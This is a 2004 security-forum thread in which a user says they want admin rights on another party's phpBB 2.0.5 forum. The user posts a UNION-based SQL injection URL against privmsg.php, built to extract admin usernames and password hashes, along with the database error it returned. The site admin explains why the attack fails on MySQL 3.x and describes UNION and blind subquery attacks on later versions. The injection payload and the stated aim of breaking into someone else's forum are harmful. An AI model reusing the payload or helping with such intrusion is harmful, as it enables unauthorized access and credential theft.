Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
June 14, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 277
Members: 0
Total: 277
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> phpbb 2.0.5
Post new topic  Reply to topic View previous topic :: View next topic 
phpbb 2.0.5
PostPosted: Mon May 31, 2004 1:03 am Reply with quote
the_strokes
Beginner
Beginner
 
Joined: May 31, 2004
Posts: 3




hi waraxe, i was trying to get the admin rights on a forum with your tutorial:
http://waraxe.us/forum/viewtopic.php?t=8

but the problem is that the forum version is 2.0.5 , i have the md5 hash but i cant .... Crying or Very sad
i tryed with other xploits for example:


privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*

and the request was:

Could not query private message post information

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax near 'UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null' at line 5

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id AND pm.privmsgs_type=-99 UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*AND ( ( pm.privmsgs_to_userid = 989 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 989 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 246
File : /www/docs/www.web.com/public_html/foro/privmsg.php

... what can i do?
View user's profile Send private message
PostPosted: Mon May 31, 2004 1:09 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Its simple - that server's mysql version is older than 4.x, so it's not supporting UNION functionality Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 31, 2004 11:20 pm Reply with quote
the_strokes
Beginner
Beginner
 
Joined: May 31, 2004
Posts: 3




ok thank you
so i cant do anything.. Evil or Very Mad
View user's profile Send private message
PostPosted: Wed Jun 02, 2004 4:22 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




That's right, you can't do anything because the server doesn't have the required functionality...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Nov 23, 2004 3:26 pm Reply with quote
Yomane
Regular user
Regular user
 
Joined: Nov 23, 2004
Posts: 8




Humm so if I understand correctly, a phpBB 2.0.5 forum is more secure on MySQL 3.x than a forum on MySQL 4.x ?

No possibility to grab the MD5 Hash password of a user if we can't do SQL Injection at this time ?
View user's profile Send private message
PostPosted: Tue Nov 23, 2004 6:30 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yomane wrote:
Humm so if I understand correctly, a phpBB 2.0.5 forum is more secure on MySQL 3.x than a forum on MySQL 4.x ?

No possibility to grab the MD5 Hash password of a user if we can't do SQL Injection at this time ?


Yes, with MySQl 3.x , which is without UNION and SubQueries
functionality, there is change to get admin password's hash only
in case, when sql query, affected by sql injection bug, is directly dealing
with database table, containing admin password's hash.
So - yeah - if you have MySql 3.x, you have actually better security.
With 4.0 you must take care of possible UNION attacks and in case of
4.1 situation get's even worst - subqueries with blind attack methods
will give to attacker powerful possibilities to manipulate the database...
View user's profile Send private message Send e-mail Visit poster's website
406
PostPosted: Sat Aug 20, 2005 8:18 am Reply with quote
webjunky
Regular user
Regular user
 
Joined: Jun 25, 2005
Posts: 5




I get a 406-error when I try stuff with UNION like this...
Anyone know what that is?
View user's profile Send private message
phpbb 2.0.5
  www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.150 Seconds